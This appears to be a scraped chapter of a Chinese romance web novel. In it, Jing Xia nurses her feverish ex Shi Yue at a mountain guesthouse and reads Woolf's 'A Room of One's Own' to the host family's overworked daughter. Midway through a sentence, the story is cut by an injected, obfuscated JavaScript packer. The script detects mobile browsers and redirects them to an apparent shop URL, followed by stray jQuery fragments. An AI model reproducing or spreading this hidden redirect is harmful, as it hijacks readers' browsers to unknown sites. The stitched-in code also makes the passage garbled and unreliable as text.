“我说了这是借的手机别人的手机，林森雨你是不是有毛病！”景夏背抵门怒道。
“那这不是也找到你了吗？”林森雨笑，“看手机号属地，是你那位山城的前男友？”
景夏立刻警惕，“你和他说什么了？”
“你猜。”
“……”
林森雨又笑，“我能说什么？”
“以后别给他打电话。”景夏冷声。
“可以，但我得联系到你啊。微信通过我就不打。”
“……”景夏用力抓头发，心烦意乱地问：“打电话什么事？”
“我看你开始控评了。”林森雨正色，“但控评这事不太现实，越删越容易逆反。直接关评论区吧，还能留下一手证据。”
这事其实景夏也在考虑了。删了几轮着实杯水车薪，而且还激起了这些人更多的不满。
【玩不起】
【我就说了一句“读书多”反应这么大】
已经是文雅的说法了。
“我的事我心里有数，你还是操心自己吧。”
林森雨幽怨道：“哎，同是前任差别可真大啊！你让那位陪你，到我这连你在哪都不说……”
“跟你没关系。”景夏鼻子出气。
“行，没关系。”林森雨拉长音调，“就是山城这个吧，好像和你描述的不太一样。等什么时候心情不好了，我就和他聊聊人生、聊聊咱俩在巴黎——”
景夏忿忿通过了林森雨的好友申请。
雨由狂烈转为细柔。在这三面环山的位置，冷意从地面升起。
景夏抱着胳膊，顺屋檐走到时樾门口，手在空中悬了好几秒后轻叩。
“门没锁。”声音遥远又模糊。
她推门而入。时樾叉腿坐在对他来说有些矮小的椅子上，小桌上放着电脑，鼻梁上架着一副透明框架眼镜，潮湿的额发柔软地垂着。
景夏走近，把手机放在桌上，“谢谢。”
时樾将电脑屏幕合了一半，“用完了？”
“嗯。”脚趾抠了抠拖鞋，她低声问：“他没跟你说什么吧？”
时樾仰头看向她。左边镜片左下角有几个齿状的凹痕，而且明显有些外凸，没有和框架严丝合缝。
景夏瞳孔微缩。
有好几秒，时樾的眼神在昏暗的灯光下像一只笼中困兽，暗色如风云翻滚。他说：“没什么。”轻轻收回了视线。
景夏看不到电脑屏幕，但能看到旁边敞开的笔记本，字迹是很有章法的潦草，隐约能辨认出膝关节置换几个字。时樾扣住本子，“需要打电话随时敲门。”
“好。”
带上门的时候，景夏耳边回荡着林森雨那句玩笑话。
他好像和她描述的不太一样。
当常年视力保持1.2的景夏，用手捧起镜片分离的眼镜时，大脑处于一片空白的状态。
“怎么办！！！我没看到直接坐上去了！！！”
时樾对眼镜的惨状很淡然，但对她惊慌无措的状态很感兴趣。
“你笑什么？！”
时樾绷唇，“嗯？我没笑啊？”说着说着露出一口白牙。
景夏：“……”
时樾徒手将镜片摁了回去——没完全回去，镜片脱落时的磨损也很显眼，“这不就好了？能带。”
“但是——”
时樾捏捏她的脸，“等空了再去换个新的。”
景夏只能接受这个事实，靠在他肩上观摩他写论文。过了一会，时樾抬了下肩膀，“去看会书？”
“不想看。”
“那看会电视？”气息喷洒在她头顶。
“也不想看。”景夏将他的脑瓜推回去，“啊呀我不无聊！礼尚往来嘛！”
礼尚往来，往来的是时樾百忙之中跑来长市，而景夏深陷小论文ddl的追赶，走哪写到哪。
时樾一直坐在她旁边看她，眼神都不带挪一下，搞得她特别特别愧疚。
“不好意思啊，很无聊吧？”
时樾摇头，认真：“一点都不无聊，看你怎么会无聊嘛？”
景夏站在房檐下，仰头看一场漫长的夜雨。
-
早餐是在昨天取钥匙那间房的里面，像是小套间，有四张朴素的小圆桌。景夏去的时候，有两个男人已经在吃了。
阿婶坐在角落的桌子上，手里做着缝衣的活计，遥遥喊：“兰妹，端饭！”
很快，一只纯白瓷碗放在面前，里面是热气腾腾的米线，鸡汤香气扑鼻。兰妹从阿婶的桌上拿来一次性筷子和纸巾，一并放在旁边。
“谢谢妹妹。”景夏冲她笑了下。
兰妹坐到她阿妈对面，开始收拾桌上不知名的蔬菜。她的手上还印着钢笔水。
前两位房客吃完，和老板打了个招呼离开了。
兰妹起身，收拾碗筷擦桌子，回来继续摘菜。
没过几分钟。
“去叫阿鹏和阿源起来吃饭。”阿婶说。
兰妹再次起身。
在阴雨天的早晨吃热腾腾的鸡汤米线，景夏感觉筋骨都舒展开了，胃里沉甸温暖，驱散了穿过院子时钻进身体的寒意。
她看了眼手机上的时间，八点半。“阿婶，和我一起来的小伙吃饭了吗？”
“没有呢。”阿婶应。
一阵嘈杂盖过了雨点敲砖击瓦的闷响。帘子一开一合，进来了一大一小两个男孩，大的约莫十岁左右，小的七八岁，都是一脸困意，嘴里不情不愿地嘟囔着什么。
母子三人用方言交谈着，景夏听不懂，但从阿婶的神态语气看出，应当是在安抚。
她离开这件小餐厅时，兰妹正端着两只大瓷碗从外面进来，小心地跨过门槛。那扇窗户下面，摆着敞开的书本和没来得及合盖的钢笔。
午饭在十二点，时樾还是没出现。
景夏吃完没回屋，而是拉了个凳子坐在了那扇窗下。余光中，兰妹横过左胳膊，试图阻挡她的视线。她笑了笑，掏出手机，一边看一边隔老远瞥那紧掩的房门。
昨晚关了评论区之后，世界都清净了不少。
“兰妹！来！”
兰妹跑去给她阿爸搭手，似乎在修梯子。
过了会，隐约传来哭声。
“兰妹，去看下阿源！”阿婶从厨房伸出头来。
景夏一个旁观者都有些烦躁了，兰妹每次回到桌前都能最迅速的恢复学习状态。
景夏放下手机，“妹妹，你在哪上学呢？”
“云理县。”兰妹说。
好像是昨天途径的地方。景夏估算了下距离，“住校吗？”
“嗯。”
没写几个字——
“兰妹！”
兰妹又走了，步速很快。待她再回来，景夏问：“能不能和你阿妈说回房间学习？”
“我没有屋子。”钢笔尖摸索本子，刻下横平竖直的奋字，“那边是弟弟的，这边是阿爸阿妈的。”
景夏心尖一刺，“如果没有房客，可以去空房吗？”
“我阿爸不许，而且我还要干活的。”
兰妹说得很理所当然，埋头继续读书，留景夏默默无言。
又过了一会，兰妹见她不走问：“是还要住一天吗？”
“没定。”景夏看向那扇门，依旧紧闭。雨帘也依旧如故，“等一会他出来，我们商量之后再说。”
兰妹顺着她的目光去看，奇怪道：“为什么不敲门和他讲？”
“……”
最终景夏还是敲了门，敲了挺久，久到她以为时樾连夜携车钥匙逃跑了。
“咔哒！”
门从内打开。
“今天——”景夏愣怔，“你……怎么了？”
时樾重重靠向墙壁，手无力地从门把上滑落，T恤领口往上脖颈和脸色一样苍白，只有那微张的薄唇红得吓人。他揉揉太阳穴，“没事，还在下雨啊……”
这嗓音，哑得像宝娟。景夏蹙眉，“是不是感冒了？”
“不……咳，不是。”时樾竭力发声，“喉炎，老毛病。你再好好休息一天，明天天晴的话——”
景夏打断，“有药吗？”
“嗯，吃……咳，吃过了。”
“饭呢？”
“不吃了。”许是疼痛，他摁喉结下方的凹陷，缓了会说：“我再睡会，不用管我。你按时吃饭。”
眼看他站着都疲累，景夏推门而入，“车钥匙呢？”
时樾抬手指床头柜。她径直走过去，车钥匙边摆了一个白色药瓶和几板胶囊，其中一个她认识，布洛芬。钥匙在掌心转了几转换，“先躺着吧，门别锁啊！”
说罢不给他说话的机会，带上门，拿起门口靠的伞。
问了阿婶停车的位置，景夏沿路悠过去，脖子夹着伞骨，一边走一边搜喉炎。
核心症状：轻则说话变粗变哑，重则完全说不出话，系声带水肿导致。
疼痛位置：喉咙深部疼，说话、咳嗽时感觉喉结下疼痛。
诱发因素：急性呼吸道感染蔓延至喉部，用嗓过度、过敏刺激、烟雾粉尘直接刺激。
回到房车上，景夏先熬上米粥，等熟的功夫翻出保温杯和金银花茶，一并装进帆布袋里。
又等了一会，她打开咖啡机做了杯拿铁，从书箱里找出《一间自己的房间》，一边喝一边重温。
雨小了些。
这次景夏没敲门，蹑手蹑脚地走进屋。室内一片昏暗，条纹被下的身体轻轻起伏。她放下帆布袋和保鲜盒，在床边的椅子上坐下。
男人睡得很沉，但眉头拧紧，半趴在枕头上，右臂垂在床边，被子角也落在了水泥地面上。
于是她又起身，往上拉了拉被子，盖住那瘦削胳膊和肩背。
他看起来格外虚弱。
景夏从没见过他这么虚弱。
“怎么又不擦干？你还想进急诊？”
“他这几年身体不太好，还过劳晕倒过一次，把我吓坏了……你是不知道，那会我真怕他猝死。”
原本没放在心上的陈嘉璐的话，此刻从记忆中浮现又在这冰冷的房间里回响。
做医生，这么辛苦吗？辛苦到身体都垮掉了。
景夏发现自己很在意。
她无法原谅他，也不打算原谅他。但她还在意他。
没有保温饭盒，玻璃不隔热，粥已经温了下来。
景夏走到床边，伸出手，又收了回来。
叫他起床会不会有点太暧昧了？可不叫的话粥就凉了。粥凉了关她什么事反正他自己说不吃。可他昨天淋雨有一部分是因为她……怎么就因为她了是他自己不拿伞的！因为……只有一把伞，他拿走她就要淋雨的。而且他来云省也是因为她，不管赎罪也好旁的也罢——
她憋气，用指头隔被子戳戳时樾的肩膀。
时樾没反应。
景夏加重力道，又戳了戳——垂着的胳膊挪回枕边，遮住了半张脸。
她凑近，看到了棱角分明的下巴冒出的胡渣，“先吃饭。”
呼吸频率变浅，时樾没睁眼，无声地说：“不吃了……”
“快，都做好了。吃完再睡。”
时樾头换了个方向，朝另一侧，“姐你等六点再叫我去……”
后几个字景夏没听清。她不知道从哪生出一股牛劲，掀开一半被子，薅住胳膊就把人往起拉，“时樾——快、起、来——”
谁知这人看起来瘦了那么多，拉了半天就往床边出溜了两厘米。
“……”景夏放弃了，叉腰喘气。
就在这时，时樾弹射起身，用力睁眼，用力闭上又睁眼。懵懵的模样又软又乖，“夏夏？”
她把早就准备好的饭盒和勺子塞他手里，“吃！”
输入指令，时樾即刻乖乖地吃，吃了好几口后蓦地一僵，“你做的吗？”
“嗯。”景夏鼻子出气，用烧水壶烧上水，然后靠在桌沿看他，“你是不是还在发烧？”
“低烧，没事。”声音都发不出来没事什么没事。
勺子和碗边碰撞，烧水壶滋滋作响。
景夏往放有金银花茶的保温杯里注热水，剩下的倒进床头柜上时樾的保温杯——她痛经那会用过的那一只，又往烧水壶里重新倒上矿泉水，“金银花茶，润喉的。这个是纯热水。喝完再烧。”她一一叮嘱后道：“如果没好转随时吭气，开车带你去县上医院。”
“我没——”
“闭嘴！”景夏瞪他，“就说听懂了没？！”
时樾双手捧碗，小心翼翼，“……懂了。”
景夏去续住了一晚后回到房间，奇迹听到动静后跑了出来，但脸上写着睡眼惺忪几个字。
阴雨连绵，小狗也嗜睡。
她从头到尾从背到肚子狠狠摸了个遍，奇迹意犹未尽地站起来，正要扒拉求抱，突然头也不回冲进卫生间，对着蹲坑——
一分钟后，景夏满意摁下冲水键。
咱也是学会用卫生间的小狗了，完美解决下雨遛狗问题。
生理问题结束，奇迹折回来求抱。
在山里的一间老房子里，和小狗软软烫烫的身体依偎在一起，是一种无法用语言描述的幸福。
但景夏的心一直悬着。
半夜，景夏被冷醒，发现胳膊从被子里出来了，赶紧盖严实。暖和了一阵，她从梦和醒的边界强行开机，爬起来趿着拖鞋，一路小跑冲到隔壁。
中午和时樾交代过不要锁，所以门一推就开。待眼睛适应了黑暗，她蹑手蹑脚地走到床边。床头柜上饭盒空了，保温杯——她掂了掂，金银花茶喝完了，开水也见了底。
景夏静静站了一会，确认他呼吸又深又均匀，这才摁下烧水壶开关。补满水，她犹豫了一阵，回到床边，小心地摸向他的额头。
热乎乎的。
景夏用另一只手摸自己的额头，被冰得一个瑟缩，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276296|198260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赶紧调动全身感知系统对比了一下——似乎好像没有差太多。她掖掖被角，终于放下心来，预备回去睡个好觉。
刚走两步，风拂起她披散的长发，手腕被一片滚烫包裹。
男人发出声音，就是还很低哑，“夏夏。”
寂静中，景夏听到自己的心砰砰直跳，越跳越快，连双腿都不再受控制，只能定定地站在原地。
时樾握着她的手腕，拇指摩挲了下后松手，“怎么穿这么少？”说着起身，从床头捞起自己的衬衫，轻轻披在她身上。
“……听声音好多了。”她说。
面对面站着，时樾离她有些近，喷洒的气息都能落在她的额头，“说了没事，一天就能好。”
景夏掩在衬衫下摆的手蜷缩，“雨停送你去丽江，随便飞机或者高铁回去吧。”
“不回。”
她看不清他的面孔，所以清晰识别出了话里耍赖皮的味道，“……”
“不回。”时樾又道，“要陪你。”
“我不需要。”景夏说。
“需要……需要。”时樾赌气似地拉住她的手肘，“需要。”
“你——”肩头一重。
景夏嗅着男人身上熟悉又陌生的洗衣液香气，眼泪和苦涩一起积聚。心口满了，苦涩溢出来。眼眶满了，眼泪溢出来。
她不知道自己为什么会哭，但就是哭了。
时樾弓腰，将脸埋在她的颈窝，“谢谢。”
景夏没说话。
T恤领边似有濡湿，但凝神，似乎又是错觉。只听时樾又说：“对不起。”
景夏还是没说话。
“你听，雨停了。”
-
雨停了。
景夏收拾好东西吃过早饭，坐在兰妹旁边看书，等时樾。
这回兰妹不用胳膊肘挡了，还时不时偷瞟她手里的书。
见状，景夏递过去，“想看吗？”
兰妹摇头，在本子上继续画画。
今天她没在学习，景夏心生好奇，“在画什么呀？可以看吗？”
兰妹黝黑的面庞浮现羞涩，揉了好一会纸边，点头，将本子转过来。
景夏张大嘴，“这是——小狗？”
用完的横隔本背面用铅笔画了一只小狗，黑白相间，蹲坐。她指脚边蹲坐的奇迹，“画的它嘛！”
“嗯。”兰妹低头，小声，“我没学过画画，画得不好。”
从画风来看，确实不是“科班”出身，有些地方甚至可以说是粗糙，但动作神态惟妙惟肖。
“可以拍吗？”景夏掏出手机，“我特别特别特别喜欢。”
兰妹瞪大眼睛，确认她没开玩笑之后夺回本子，“我、我我再修改一下。”
“好呀，不着急。”她笑。
可这幅画没画完，因为——
“兰妹！”
时樾背着包出来，景夏招手，“咳……去吃早饭吧。”
他点头，摸摸奇迹，进了里间。白天，他恢复了素日的清冷沉稳，凌晨的小脾气小亲昵似乎都是幻觉。
两人心照不宣。
离开时，景夏看到了兰妹的身影。
躲懒许久的太阳高悬，尽情投射热量，似乎要补上前几天的空缺。兰妹蹲在路边，用砖块活泥填补院墙的空缺。
景夏牵着奇迹走过去，“妹妹，我要走了。”
兰妹抬头，又黑又密的发间闪着汗珠，“画还没有补完。”
“已经很完美了。”她晃手机，“我刚才拍下来了——只拍了画哦！”
两天以来，景夏第一次看到兰妹笑了。她的牙很白，很整齐，笑起来很甜，很有朝气。
车缓缓停在路对面。时樾下车，“我去提行李箱。”
景夏点头，解开绳让时樾坐上后座，绕去驾驶座时却没迈开腿。她从肩上的帆布袋里掏出《一间自己的房间》，心头更不是滋味。
时樾将行李放好，关上后备厢，“我开吧，上——”
景夏叹了口气。
时樾走过来，看看她手里的书，又顺着她的视线看向那蹲墙边努力干活的身影。
“走吧。”她收回目光，起身，“我开。”
时樾冷不丁问：“着急走吗？”
“嗯？”景夏一愣。
时樾冲路对面轻抬下巴。
“奥……”她闷闷不乐，“多待一会也改变不了什么，算了。”
时樾拦住她，脱掉身上的衬衫扔进后座，“起码能改变她的一个上午。”
说罢，他跑过去，蹲下不知和兰妹说了什么。女孩朝景夏这边看看，表情有些纠结。
这时，阿叔带着两个打打闹闹的男孩走出来，时樾上前交谈。这么看，大的那个个子已经到时樾肩头了。
过了好一会，阿叔和兰妹说了两句，后者喜笑颜开，举着脏兮兮的手飞跑过来，“那个哥哥说你看过很多书，还很会讲书。”
景夏眼眶发热，举起书来掩盖自己的失态，“这本，想听吗？”
这次兰妹没有说谎，“想。”
景夏拉着她去房车的台阶上并排坐下，展开，温声说：“这是英国一位叫伍尔夫的女性作家的书，叫《一间自己的房间》……”
她讲着，看着时樾利落地砌墙的背影，想着他昨天还是在发烧的。
这是她当初会喜欢上他的原因。
她不会原谅他的。但……
这也是她此时此刻，会喜欢上他的原因。
———————
8月5日，自驾书单第6期
推荐书目，弗吉尼亚·伍尔夫《一间自己的房间》
“这本书在女性主义那一期中有介绍过，所以无需赘述。就放一段录音吧！”
景夏打开录音，播放。
“所谓一间自己的房间，其实就是独立的空间。愿所有女孩，都有一间自己的房间。”
“这个房间该面朝大海，让你温暖自在。”
“房间里该有一张沙发和一个书架，书架上是你喜欢的书，它们按照你喜欢的方式排列。”
“房间要有一个明亮的窗子，蓝色天空的夜晚，你抱着宠物在窗前仰望星空。”
“房间里还要有一面镜子，因为你爱美丽的自己，忠贞不渝。”
“你该一直拥有栖息精神的空间，直到优雅老去。*”
再次听到兰妹略带口音但清脆悦耳的声音，景夏眼眶还是酸了。
沙发背靠卫生间的墙，里面水声阵阵，偶尔还有清嗓子咳嗽声。时樾正在洗澡。他干了整整五个小时砌好墙，还补好了油漆。挺像模像样。
“愿所有女孩，都有一间自己的房间。*”
水停了，门咔哒一声打开。
景夏捂住镜头，“晚安。”
衍生书单：
《第二性》波伏瓦
《她弥留之际》波伏瓦
《林门郑氏》林雪虹